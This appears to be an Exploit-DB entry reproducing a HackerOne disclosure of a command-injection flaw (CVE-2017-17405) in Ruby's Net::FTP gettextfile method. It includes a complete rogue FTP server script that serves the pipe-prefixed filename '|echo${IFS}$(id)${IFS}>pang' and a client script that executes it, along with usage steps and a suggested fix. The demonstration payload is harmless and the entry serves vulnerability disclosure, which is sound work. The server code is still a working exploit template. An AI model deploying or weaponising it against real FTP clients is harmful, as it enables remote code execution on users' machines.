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116 | While using NET::Ftp I realised you could get command execution through "malicious" file names.
The problem lies in the `gettextfile(remotefile, localfile = File.basename(remotefile))` method.
When looking at the source code, you'll note:
```
def gettextfile(remotefile, localfile = File.basename(remotefile),
&block) # :yield: line
f = nil
result = nil
if localfile
f = open(localfile, "w") # Vulnerable code here. open("| os command","w")
elsif !block_given?
result = String.new
end
```
The `localfile` value will trigger command execution if the value is `| os command`. In general use, most users would likely provide their own localfile value and would not rely on the default of `File.basename(remotefile)`; however, in some situations, such as listing and downloading all files in a FTP share, the remotefile value would be controlled by the remote host and could thus be manipulated into causing RCE. Since the file path is simply a string returned by the server (either `ls -l` style for the `LIST` command, or filenames for `NLIST`), there is no need/guarantee that filename will be a valid filename.
I have attached a sample server that can be used to trigger this vulnerability, as well as a sample client which is vulnerable.
## Usage:
Change the `host` and `port` values in both //ftpserver.rb// and //client.rb//
Start the server: `ruby ftpserver.rb`
Run the client: `ruby client.rb`
Observe that a new file has been created in the CWD of the //client.rb//. The file will be called `pang` and contain the output of the `id` command. As seen in screenshot1.png
The provided attack example is a little contrived and assumes the user is accepting the file names provided by the server, rather than their own. However, since there is no clear indication in the documentation or an expectation that filenames could lead to RCE, users may be caught unaware. It would probably be best to not use `open` in NET::Ftp, but rather something like `File.open`, maintaining both expected behaviour and security.
## Impact
Remote code execution through command injection. As a user of the NET::Ftp is expecting normal file creation behaviour, they might not be sanitising file paths.
--cilent.rb--
```
require 'net/ftp'
host = '172.17.0.4'
port = 2121
Net::FTP.const_set('FTP_PORT',port)
Net::FTP.open(host) do |ftp|
ftp.login
fileList = ftp.nlst('*')
fileList.each do |file|
ftp.gettextfile(file)
end
end
```
--cilent.rb--
- - -
--ftpserv.rb--
```
require 'socket'
host = '172.17.0.4'
port = 2121
hostsplit = host.tr('.',',')
server = TCPServer.new port
loop do
Thread.start(server.accept) do |client|
client.puts "220 Attack FTP\r\n"
r = client.gets
puts r
client.puts "331 password please - version check\r\n"
r = client.gets
puts r
client.puts "230 User logged in\r\n"
r = client.gets
puts r
client.puts "230 more data please!\r\n"
r = client.gets
puts r
client.puts "230 more data please!\r\n"
r = client.gets
puts r
wait = true
psv = Thread.new do
pserver = TCPServer.new 23461
Thread.start(pserver.accept) do |pclient|
while wait do
end
pclient.puts "|echo${IFS}$(id)${IFS}>pang\r\n"
pclient.close
end
end
sleep 1
client.puts "227 Entering Passive Mode ("+hostsplit+",91,165)\r\n"
r = client.gets
puts r
psv.join
client.puts "150 Here comes the directory listing.\r\n"
wait = false
client.puts "226 Directory send OK.\r\n"
r = client.gets
puts r
client.puts "221 goodbye\r\n"
client.close
end
end
```
--ftpserv.rb--
- - -
E-DB Note: https://www.ruby-lang.org/en/news/2017/12/14/net-ftp-command-injection-cve-2017-17405/
E-DB Nte: https://hackerone.com/reports/294462
|
